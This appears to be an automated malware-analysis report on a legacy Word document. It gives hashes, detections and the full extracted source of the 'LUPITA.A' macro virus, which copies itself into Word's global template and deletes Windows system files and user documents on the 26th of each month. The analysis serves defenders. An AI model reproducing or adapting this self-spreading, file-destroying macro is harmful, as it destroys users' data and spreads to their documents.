Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fed041e99d35f046…

MALICIOUS

Office (OLE)

28.5 KB Created: 2000-04-21 03:45:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: e878562a9f517b18ab85da65042a4073 SHA-1: 4985062a927f53181c034c5a9ba900206e84ae85 SHA-256: fed041e99d35f04641ba2a2fa0cbb02746fb371542dc66755539cd4d3254bbaa
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains a VBA macro that executes an AutoOpen subroutine. This macro attempts to copy itself to the global template and then, on the 26th day of the month, it attempts to delete files from C:\windows\system\*.* and C:\Mis Documentos\*.*. It also displays a message box stating that files have been deleted. This behavior is indicative of a destructive prank or scareware.

Heuristics 4

  • ClamAV: Doc.Trojan.Minimal-39 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Minimal-39
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1495 bytes
SHA-256: fbd42911e6b0df0abd087bd9a676e2b9cd6946544a93ac87cf66ad366405c4c9
Detection
ClamAV: Doc.Trojan.Minimal-39
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AUTOOPEN"

Public Sub MAIN()
Dim activa$
Dim plantila$
Dim diálogoEjem As Object
Dim botón
'MACRO VIRUS LUPITA.A
     'MADE IN PERU
     
     On Error Resume Next
     activa$ = WordBasic.[FileName$]() + ":AutoOpen"
     plantila$ = "Global:AUTOOPEN"
     WordBasic.MacroCopy activa$, plantila$, 1
     WordBasic.FileSaveAs Format:=1
     WordBasic.MacroCopy plantila$, activa$, 1
     If WordBasic.Day(WordBasic.Now()) = 26 Then
        WordBasic.Kill "C:\windows\system\*.*"
        WordBasic.Kill "C:\Mis Documentos\*.*"

'*******LA CAJITA DE MENSAJE ****************
     WordBasic.BeginDialog 320, 144, "Microsoft Word"
    WordBasic.PushButton 110, 93, 97, 21, "OK", "Presionar1"
    WordBasic.Text 75, 22, 237, 33, "Los archivos de tu maquina ", "Texto1"
    WordBasic.Text 75, 39, 237, 33, "han sido borrados.....jejejeje", "Texto2"
    WordBasic.Text 75, 59, 237, 33, " LUPITA  MADE IN PERU", "Texto3"
    WordBasic.EndDialog
'********************************************
    Set diálogoEjem = WordBasic.CurValues.UserDialog
    WordBasic.DisableInput 1
    botón = WordBasic.Dialog.UserDialog(diálogoEjem)
    WordBasic.DisableInput 0
     End If
End Sub